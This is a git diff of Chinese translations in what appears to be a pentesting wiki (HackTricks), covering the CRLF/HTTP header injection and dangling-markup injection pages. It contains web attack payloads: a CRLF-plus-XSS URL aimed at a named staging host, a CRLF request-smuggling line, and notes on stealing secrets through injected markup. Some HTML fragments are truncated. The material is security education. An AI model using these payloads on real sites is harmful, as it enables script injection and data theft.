http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` 检查更多示例在: -{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} +{{#ref}} +https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md +{{#endref}} ### HTTP Header Injection -HTTP Header Injection,通常通过 CRLF(回车和换行)注入进行利用,允许攻击者插入 HTTP 头。这可能会破坏安全机制,例如 XSS(跨站脚本)过滤器或 SOP(同源策略),可能导致对敏感数据(如 CSRF 令牌)的未经授权访问,或通过植入 cookie 操纵用户会话。 +HTTP Header Injection,通常通过 CRLF(回车换行)注入进行利用,允许攻击者插入 HTTP 头。这可能会破坏安全机制,例如 XSS(跨站脚本)过滤器或 SOP(同源策略),可能导致对敏感数据(如 CSRF 令牌)的未经授权访问,或通过植入 cookie 操纵用户会话。 #### 通过 HTTP Header Injection 利用 CORS @@ -117,7 +117,7 @@ $client->__soapCall("test", []); ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` -之后,可以指定第二个请求。此场景通常涉及[HTTP request smuggling](http-request-smuggling/),这是一种技术,其中服务器在注入后附加的额外头部或主体元素可能导致各种安全漏洞。 +之后,可以指定第二个请求。此场景通常涉及[HTTP request smuggling](http-request-smuggling/),这是一种技术,其中服务器在注入后附加的额外头或主体元素可能导致各种安全漏洞。 **利用:** @@ -131,7 +131,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0 ### Memcache 注入 -Memcache 是一个**使用明文协议的键值存储**。更多信息请参见: +Memcache 是一个**使用明文协议的键值存储**。更多信息在: {{#ref}} ../network-services-pentesting/11211-memcache/ @@ -197,6 +197,4 @@ Memcache 是一个**使用明文协议的键值存储**。更多信息请参见 - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 9ecffc71d..0ec4f0a28 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -7,13 +7,13 @@ 此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法,但可以**注入一些HTML标签**,这非常有用。\ 如果某些**秘密以明文形式保存在HTML中**,并且您想要**从客户端提取**它,或者如果您想误导某些脚本执行,这也很有用。 -这里评论的几种技术可以通过以意想不到的方式(html标签、CSS、http-meta标签、表单、base等)提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。 +这里提到的几种技术可以通过以意想不到的方式(html标签、CSS、http-meta标签、表单、base等)提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。 ## 主要应用 ### 偷取明文秘密 -如果您在页面加载时注入`@import//hackvertor.co.uk? <--- Injected steal me!; @@ -32,7 +32,7 @@ ```html test @@ -67,7 +67,7 @@ I get consumed! ``` 该输入字段将包含其双引号之间的所有内容以及下一个双引号中的内容。这种攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”混合在一起。 -您可以通过注入一个表单和一个``将被发送: +您可以通过注入一个表单和一个``都会被发送: ```html Click Me